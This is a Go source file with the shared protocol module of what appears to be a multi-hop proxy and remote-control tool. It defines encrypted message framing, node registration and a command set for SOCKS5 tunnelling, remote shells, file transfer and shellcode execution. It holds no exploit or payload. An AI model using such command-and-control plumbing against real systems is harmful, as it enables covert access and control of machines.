321 lines
8.0 KiB
Go
321 lines
8.0 KiB
Go
package common
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import (
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"bytes"
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"errors"
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"fmt"
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"github.com/google/uuid"
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"math/rand"
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"net"
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"rakshasa/aes"
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"strings"
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"sync"
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"sync/atomic"
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"time"
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)
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var Debug bool = false
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var DebugLock bool = false
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var DebugLockMap sync.Map
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const UUID_LEN = 16
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var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN))
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var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN))
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var EnableTermVt bool
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// 数据包结构 包长（2byte）UUID+UUID+MsgId+Ttl+cmd包
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type Msg struct {
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From string
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To string
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MsgId uint32
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Ttl uint8
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CmdOpteion uint8
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CmdId uint32
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CmdData []byte
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}
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const (
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MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen
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MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5
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INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20
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WRITE_DEADLINE = time.Second * 5
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CMD_TIMEOUT = time.Second * 10
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)
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// 大数据包格式，(CMD+fd)headlen+内容，不超过MaxPlaintext,使用tls自动分包
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const (
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CMD_NONE = iota
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CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载
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CMD_CONNECT_BYIDADDR_RESULT //返回id
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CMD_DELETE_CONNID //删除fd资源
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CMD_CONN_MSG //发送消息，格式windows(8byte)+负载
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CMD_CONN_UDP_MSG //udp数据包
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CMD_NODE_RESTART //删除所有
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CMD_WINDOWS_UPDATE // 增加窗口值
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CMD_PING //请求ping
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CMD_PONG //返回pong
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CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte)
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CMD_PING_LISTEN_RESULT
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CMD_REG //通过本地注册
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CMD_REG_RESULT //节点端注册
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CMD_REMOTE_REG //通过远程服务器注册
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CMD_REMOTE_REG_RESULT
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CMD_GET_CURRENT_NODE //特殊指令，节点丢失后，查询节点
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CMD_GET_CURRENT_NODE_RESULT
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CMD_GET_NODE //获取节点列表
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CMD_GET_NODE_RESULT
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CMD_ADD_NODE //新增节点
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CMD_LISTEN //监听
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CMD_LISTEN_RESULT
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CMD_DELETE_LISTEN
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CMD_CONNECT_BYID //连接
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CMD_DELETE_LISTENCONN_BYID
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CMD_REMOTE_SOCKS5 //
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//CMD_REMOTE_SOCKS5_RESULT
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CMD_PWD
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CMD_PWD_RESULT
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CMD_DIR
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CMD_DIR_RESULT
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CMD_CD
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CMD_CD_RESULT
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CMD_UPLOAD
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CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度
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CMD_DOWNLOAD
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CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包
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CMD_SHELL
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CMD_SHELL_DATA
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CMD_SHELL_RESULT
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CMD_RUN_SHELLCODE
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CMD_RUN_SHELLCODE_RESULT
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)
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var CmdToName = map[uint8]string{
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CMD_NONE: "CMD_NONE",
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CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR",
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CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT",
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CMD_DELETE_CONNID: "CMD_DELETE_CONNID",
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CMD_CONN_MSG: "CMD_CONN_MSG",
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CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG",
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CMD_NODE_RESTART: "CMD_NODE_RESTART",
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CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE",
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CMD_PING: "CMD_PING",
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CMD_PONG: "CMD_PONG",
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CMD_PING_LISTEN: "CMD_PING_LISTEN",
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CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT",
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CMD_REG: "CMD_REG",
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CMD_REG_RESULT: "CMD_REG_RESULT",
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CMD_REMOTE_REG: "CMD_REMOTE_REG",
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CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT",
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CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE",
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CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT",
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CMD_GET_NODE: "CMD_GET_NODE",
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CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT",
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CMD_ADD_NODE: "CMD_ADD_NODE",
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CMD_LISTEN: "CMD_LISTEN",
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CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT",
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CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN",
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CMD_CONNECT_BYID: "CMD_CONNECT_BYID",
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CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID",
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CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5",
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//CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT",
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CMD_PWD: "CMD_PWD",
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CMD_PWD_RESULT: "CMD_PWD_RESULT",
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CMD_DIR: "CMD_DIR",
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CMD_DIR_RESULT: "CMD_DIR_RESULT",
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CMD_CD: "CMD_CD",
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CMD_CD_RESULT: "CMD_CD_RESULT",
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CMD_UPLOAD: "CMD_UPLOAD",
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CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT",
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CMD_DOWNLOAD: "CMD_DOWNLOAD",
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CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT",
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CMD_SHELL: "CMD_SHELL",
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CMD_SHELL_DATA: "CMD_SHELL_DATA",
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CMD_SHELL_RESULT: "CMD_SHELL_RESULT",
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CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE",
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CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT",
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}
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type NetWork byte
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const (
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_ NetWork = iota
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SOCKS5_CMD_CONNECT
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// CmdBind is bind command
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SOCKS5_CMD_BIND
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// CmdUDP is UDP command
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SOCKS5_CMD_UDP
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RAW_TCP
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RAW_TCP_WITH_PROXY
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)
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// 符合Server调用的接口
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type Server interface {
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ID() uint32
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Write(buf []byte)
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DeleteFd(fd [2]byte)
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FdLoad(fd [2]byte) bool
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FdStore(fd [2]byte, c Conn)
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Close(string)
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AddrList() string
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}
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const (
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CONN_STATUS_OK = iota
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CONN_STATUS_CLOSE
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)
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// 符合Conn调用的接口
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type Conn interface {
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Write([]byte) //会将部分消息原样不动发回去
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Close(string)
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}
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type Close interface {
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Close(string)
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}
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var globalID1, globalID2 uint32
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var GetIDLock sync.Mutex
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func GetID() uint32 {
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return atomic.AddUint32(&globalID1, 1)
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}
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func GetConnID() uint32 {
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return atomic.AddUint32(&globalID2, 1)
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}
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func init() {
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rand.Seed(time.Now().Unix())
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}
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type RegMsg struct {
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UUID string //当前机器uuid
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Addr string
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RegAddr string //远程连接的addr
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Hostname string //当前机器名称
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Goos string
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ViaUUID string
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Err string
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MainIp []string
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Port int
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}
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var msgId uint32
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func (m *Msg) Marshal() []byte {
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l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
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data := make([]byte, l+2)
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data1 := make([]byte, l+2)
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data1[0] = byte(l)
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data1[1] = byte(l >> 8)
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uf, _ := uuid.Parse(m.From)
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ut, _ := uuid.Parse(m.To)
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bf, _ := uf.MarshalBinary()
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bt, _ := ut.MarshalBinary()
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copy(data[2:], bf)
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copy(data[2+UUID_LEN:], bt)
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b := 2 + 2*UUID_LEN
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if m.MsgId == 0 { //id不为0
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m.MsgId = atomic.AddUint32(&msgId, 1)
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}
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data[b] = byte(m.MsgId)
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data[b+1] = byte(m.MsgId >> 8)
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data[b+2] = byte(m.MsgId >> 16)
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data[b+3] = byte(m.MsgId >> 24)
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data[b+4] = m.Ttl
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data[b+5] = m.CmdOpteion
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data[b+6] = byte(m.CmdId)
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data[b+7] = byte(m.CmdId >> 8)
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data[b+8] = byte(m.CmdId >> 16)
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data[b+9] = byte(m.CmdId >> 24)
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copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
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aes.AesCtrEncrypt(data1[2:], data[2:])
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return data1
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}
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func UnmarshalMsg(data []byte) (msg *Msg) {
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if len(data) < 2*UUID_LEN+4+1+5 {
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return
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}
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msg = &Msg{}
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uf, _ := uuid.FromBytes(data[:UUID_LEN])
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ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN])
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msg.From = uf.String()
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msg.To = ut.String()
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b := 2 * UUID_LEN
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msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24
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msg.Ttl = data[b+4]
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msg.CmdOpteion = data[b+5]
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msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24
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msg.CmdData = data[b+10:]
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return
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}
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func ExternalIP() (net.IP, error) {
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ifaces, err := net.Interfaces()
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if err != nil {
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return nil, err
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}
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for _, iface := range ifaces {
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if iface.Flags&net.FlagUp == 0 {
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continue // interface down
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}
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if iface.Flags&net.FlagLoopback != 0 {
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continue // loopback interface
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}
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addrs, err := iface.Addrs()
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if err != nil {
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return nil, err
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}
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for _, addr := range addrs {
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ip := getIpFromAddr(addr)
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if ip == nil {
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continue
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}
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return ip, nil
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}
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}
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return nil, errors.New("connected to the network?")
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}
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// 获取ip
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func getIpFromAddr(addr net.Addr) net.IP {
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var ip net.IP
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switch v := addr.(type) {
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case *net.IPNet:
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ip = v.IP
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case *net.IPAddr:
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ip = v.IP
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}
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if ip == nil || ip.IsLoopback() {
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return nil
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}
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ip = ip.To4()
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if ip == nil {
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return nil // not an ipv4 address
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}
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return ip
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}
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func ResolveTCPAddr(str string) ([]string, error) {
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dst := strings.Split(str, ",")
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for i := len(dst) - 1; i >= 0; i-- {
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addr := dst[i]
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if addr == "" {
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dst = append(dst[:i], dst[i+1:]...)
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} else {
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if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
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return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开，错误详情%v", err)
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}
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}
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}
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return dst, nil
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}
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